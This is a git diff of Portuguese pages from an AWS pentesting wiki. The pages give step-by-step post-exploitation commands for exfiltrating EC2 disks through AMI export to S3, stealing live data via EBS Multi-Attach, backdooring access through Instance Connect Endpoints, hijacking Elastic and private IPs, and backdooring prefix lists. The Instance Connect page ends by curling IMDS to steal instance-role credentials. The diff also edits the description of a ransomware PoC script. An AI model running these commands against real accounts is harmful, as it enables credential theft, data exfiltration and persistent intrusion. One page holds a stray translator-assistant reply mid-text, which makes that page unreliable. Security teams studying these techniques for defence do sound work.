 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
+Mas quando você tenta realmente iniciar a instância EC2 com o volume EBS encriptado, ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser descriptografado usando a chave, porque a key policy não permite mais.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Este é o script python utilizado. Ele recebe credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, destacará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas alertá-lo de que isso é uma prova de conceito de ransomware no final das contas.
+Este é o script python usado. Ele recebe AWS creds para uma conta 'victim' e um ARN público da AWS para a chave a ser usada na encriptação. O script fará cópias encriptadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então vai parar todas as instâncias EC2, desanexar os volumes EBS originais, deletá-los, e finalmente deletar todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS encriptados na conta 'victim' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E VAI DELETAR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas quero apenas alertar que, no fim das contas, isto é um ransomware PoC.
 ```
 import boto3
 import argparse
@@ -492,6 +557,6 @@ main()
 ```
 ## Referências
 
-- [Pentest Partners – Como transferir arquivos na AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
new file mode 100644
index 000000000..02ed9f523
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
@@ -0,0 +1,137 @@
+# AWS – Exfiltração Oculta de Disco via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumo
+Abuse a exportação de AMI do EC2 para S3 para exfiltrar o disco completo de uma instância EC2 como uma única imagem raw armazenada em S3, e então baixá-la out-of-band. Isso evita o compartilhamento de snapshots e produz um objeto por AMI.
+
+## Requisitos
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` na instância/AMI alvo
+- S3 (mesma Região): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt na chave que protege os snapshots da AMI (se a criptografia padrão do EBS estiver habilitada)
+- Política de bucket S3 que confia no principal de serviço `vmie.amazonaws.com` (veja abaixo)
+
+## Impacto
+- Aquisição completa offline do disco root da instância em S3 sem compartilhar snapshots ou copiar entre contas.
+- Permite forense furtiva em credenciais, configurações e conteúdo do sistema de arquivos a partir da imagem raw exportada.
+
+## Como Exfiltrar via AMI Store-to-S3
+
+- Notas:
+- O bucket S3 deve estar na mesma Região que a AMI.
+- Em `us-east-1`, `create-bucket` NÃO deve incluir `--create-bucket-configuration`.
+- `--no-reboot` cria uma imagem crash-consistent sem parar a instância (mais furtivo, mas menos consistente).
+
+<details>
+<summary>Comandos passo a passo</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Exemplo de Evidência
+
+- `describe-store-image-tasks` transições:
+```text
+InProgress
+Completed
+```
+- Metadados do objeto S3 (exemplo):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Download parcial comprova o acesso ao objeto:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Permissões IAM necessárias
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (no bucket de exportação): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Se os snapshots de AMI estiverem criptografados, permitir decrypt para a EBS KMS key usada pelos snapshots
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
new file mode 100644
index 000000000..186fc5846
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumo
+Abuse EBS Multi-Attach para ler de um volume de dados io1/io2 em uso, anexando o mesmo volume a uma instância controlada pelo atacante na mesma Availability Zone (AZ). Montar o volume compartilhado em modo somente leitura fornece acesso imediato a arquivos em uso sem criar snapshots.
+
+## Requisitos
+- Volume alvo: io1 ou io2 criado com `--multi-attach-enabled` na mesma AZ que a instância do atacante.
+- Permissões: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sobre o volume/instâncias alvo.
+- Infraestrutura: tipos de instância baseados em Nitro que suportam Multi-Attach (famílias C5/M5/R5, etc.).
+
+## Observações
+- Monte em somente leitura com `-o ro,noload` para reduzir o risco de corrupção e evitar replays do journal.
+- Em instâncias Nitro, o dispositivo NVMe do EBS expõe um caminho estável `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (auxiliar abaixo).
+
+## Prepare a Multi-Attach io2 volume and attach to victim
+
+Exemplo (crie em `us-east-1a` e anexe à vítima):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+Na máquina da vítima, formate/monte o novo volume e escreva dados sensíveis (ilustrativo):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Anexar o mesmo volume à attacker instance
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Montar read-only no attacker e ler dados
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Resultado esperado: O mesmo `VOL_ID` mostra múltiplos `Attachments` (victim and attacker) e o attacker pode ler arquivos escritos pelo victim sem criar nenhum snapshot.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Auxiliar: encontrar o caminho do dispositivo NVMe pelo Volume ID</summary>
+
+Em instâncias Nitro, use o caminho estável by-id que incorpora o volume id (remova o traço depois de `vol`):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Impacto
+- Acesso imediato de leitura aos dados em tempo real no volume EBS de destino sem gerar snapshots.
+- Se montado em modo read-write, o atacante pode manipular o sistema de arquivos da vítima (risco de corrupção).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
new file mode 100644
index 000000000..d066f91f3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -0,0 +1,118 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusar do EC2 Instance Connect Endpoint (EIC Endpoint) para obter acesso SSH de entrada a instâncias EC2 privadas (sem IP público/bastion) através de:
+- Criar um EIC Endpoint dentro da sub-rede alvo
+- Permitir SSH de entrada no SG alvo a partir do SG do EIC Endpoint
+- Injetar uma chave pública SSH de curta duração (válida ~60 segundos) com `ec2-instance-connect:SendSSHPublicKey`
+- Abrir um túnel EIC e pivoting para a instância para roubar credenciais do instance profile do IMDS
+
+Impacto: caminho de acesso remoto furtivo para instâncias EC2 privadas que contorna bastions e restrições de IP público. O atacante pode assumir o instance profile e operar na conta.
+
+## Requirements
+- Permissions to:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Target Linux instance with SSH server and EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 20.04+). Default users: `ec2-user` (AL2) or `ubuntu` (Ubuntu).
+
+## Variables
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## Criar EIC Endpoint
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Permitir tráfego do EIC Endpoint para a instância de destino
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Injetar chave SSH efêmera e abrir túnel
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Prova de pós-exploração (roubar credenciais do perfil de instância)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+Você não incluiu o conteúdo do ficheiro. Por favor, cole aqui o conteúdo Markdown (o texto do arquivo src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md) que quer traduzido. Não posso aceder a ficheiros no seu sistema — preciso que cole o texto. 
+
+Observações rápidas antes de enviar:
+- Vou traduzir apenas o texto em inglês para Português.
+- Não vou traduzir código, nomes de técnicas, palavras comuns de hacking, nomes de plataformas cloud/SaaS (ex.: aws, Workspace), a palavra "leak", "pentesting", links, paths, tags ou qualquer marcação Markdown/HTML.
+- Mantenha o markdown e as tags exatamente como estão; não as modifique.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Use as stolen creds localmente para verificar a identidade:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Limpeza
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Notas
+> - A chave SSH injetada é válida apenas por ~60 segundos; envie a chave imediatamente antes de abrir o túnel/SSH.
+> - `OS_USER` deve corresponder à AMI (por exemplo, `ubuntu` para Ubuntu, `ec2-user` para Amazon Linux 2).
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
new file mode 100644
index 000000000..492bf499e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack para Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumo
+
+Abuse `ec2:AssociateAddress` (e opcionalmente `ec2:DisassociateAddress`) para re-associar um Elastic IP (EIP) de uma instância/ENI vítima para uma instância/ENI do atacante. Isso redireciona o tráfego de entrada destinado ao EIP para o atacante e também permite que o atacante origine tráfego de saída com o IP público allowlisted para contornar firewalls de parceiros externos.
+
+## Pré-requisitos
+- ID de alocação do EIP de destino na mesma conta/VPC.
+- Instância/ENI do atacante que você controla.
+- Permissões:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI
+- `ec2:DisassociateAddress` (opcional). Nota: `--allow-reassociation` irá auto-desassociar da associação anterior.
+
+## Ataque
+
+Variáveis
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) Alocar ou identificar o EIP da vítima (o laboratório aloca um novo e o associa à vítima)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Verifique se o EIP atualmente resolve para o serviço da vítima (por exemplo, verifique o banner)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) Re-associar o EIP ao atacante (desassocia automaticamente da vítima)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Verifique se o EIP agora resolve para o attacker service
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Evidência (associação movida):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Impacto
+- Inbound impersonation: Todo o tráfego destinado ao EIP sequestrado é entregue à attacker instance/ENI.
+- Outbound impersonation: Attacker pode iniciar tráfego que aparenta se originar do allowlisted public IP (útil para contornar filtros de IP de parceiros/fonte externa).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
new file mode 100644
index 000000000..32ad9e6b3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` para roubar o IP privado secundário de um ENI vítima e movê-lo para um ENI atacante no mesmo subnet/AZ. Muitos serviços internos e security groups restringem acesso por IPs privados específicos. Ao mover esse endereço secundário, o atacante se passa pelo host confiável no L3 e pode alcançar serviços allowlisted.
+
+Prereqs:
+- Permissões: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` no ARN do ENI vítima, e `ec2:AssignPrivateIpAddresses` no ARN do ENI atacante.
+- Ambos os ENIs devem estar no mesmo subnet/AZ. O endereço alvo deve ser um IP secundário (o primário não pode ser unassigned).
+
+Variables:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Steps:
+1) Pick a secondary IP from the victim ENI
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Garanta que o host protegido permita apenas esse IP (idempotente). Se estiver usando regras SG-to-SG em vez disso, pule.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Linha de base: a partir da instância atacante, uma requisição para PROTECTED_HOST deve falhar sem spoofed source (por exemplo, via SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Desassociar o IP secundário da ENI da vítima
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Atribua o mesmo IP ao attacker ENI (no AWS CLI v1 adicione `--allow-reassignment`)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Verifique se a propriedade foi transferida
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Da instância atacante, source-bind para o hijacked IP para alcançar o host protegido (certifique-se de que o IP esteja configurado no OS; se não estiver, adicione-o com `ip addr add $HIJACK_IP/<mask> dev eth0`)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Impacto
+- Contornar IP allowlists e personificar hosts confiáveis dentro da VPC movendo secondary private IPs entre ENIs na mesma subnet/AZ.
+- Acessar serviços internos que controlam o acesso por source IPs específicos, permitindo lateral movement e acesso a dados.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
new file mode 100644
index 000000000..3cfcafd27
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumo
+Abusar de customer-managed Prefix Lists para criar uma via de acesso furtiva. Se uma security group (SG) rule referenciar uma managed Prefix List, qualquer pessoa com a capacidade de modificar essa lista pode adicionar silenciosamente CIDRs controlados pelo atacante. Toda SG (e potencialmente Network ACL ou VPC endpoint) que referenciar a lista passa a permitir imediatamente os novos intervalos sem nenhuma alteração visível na SG.
+
+## Impacto
+- Expansão instantânea das faixas de IP permitidas para todas as SGs que referenciam a Prefix List, contornando controles de mudança que monitoram apenas edições de SG.
+- Habilita backdoors persistentes de ingress/egress: mantenha o CIDR malicioso oculto na Prefix List enquanto a SG rule parece inalterada.
+
+## Requisitos
+- Permissões IAM:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (para identificar SGs anexadas)
+- Opcional: `ec2:CreateManagedPrefixList` se estiver criando uma nova para testes.
+- Ambiente: Pelo menos uma SG rule referenciando a Prefix List gerenciada pelo cliente alvo.
+
+## Variáveis
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Etapas do Ataque
+
+1) **Enumerar listas de prefixos candidatas e consumidores**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` para confirmar quais regras de SG dependem dessa prefix list.
+
+2) **Adicione o CIDR do atacante à prefix list**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Validar a propagação para security groups**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+O tráfego de `$ENTRY_CIDR` agora é permitido em qualquer lugar onde a prefix list seja referenciada (comumente nas regras de saída em egress proxies ou nas regras de entrada em serviços compartilhados).
+
+## Evidências
+- `get-managed-prefix-list-entries` reflete o attacker CIDR e a descrição.
+- `describe-security-group-rules` ainda mostra a regra SG original referenciando a prefix list (nenhuma modificação de SG registrada), porém o tráfego do novo CIDR é bem-sucedido.
+
+## Limpeza
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
new file mode 100644
index 000000000..37b980041
--- /dev/null
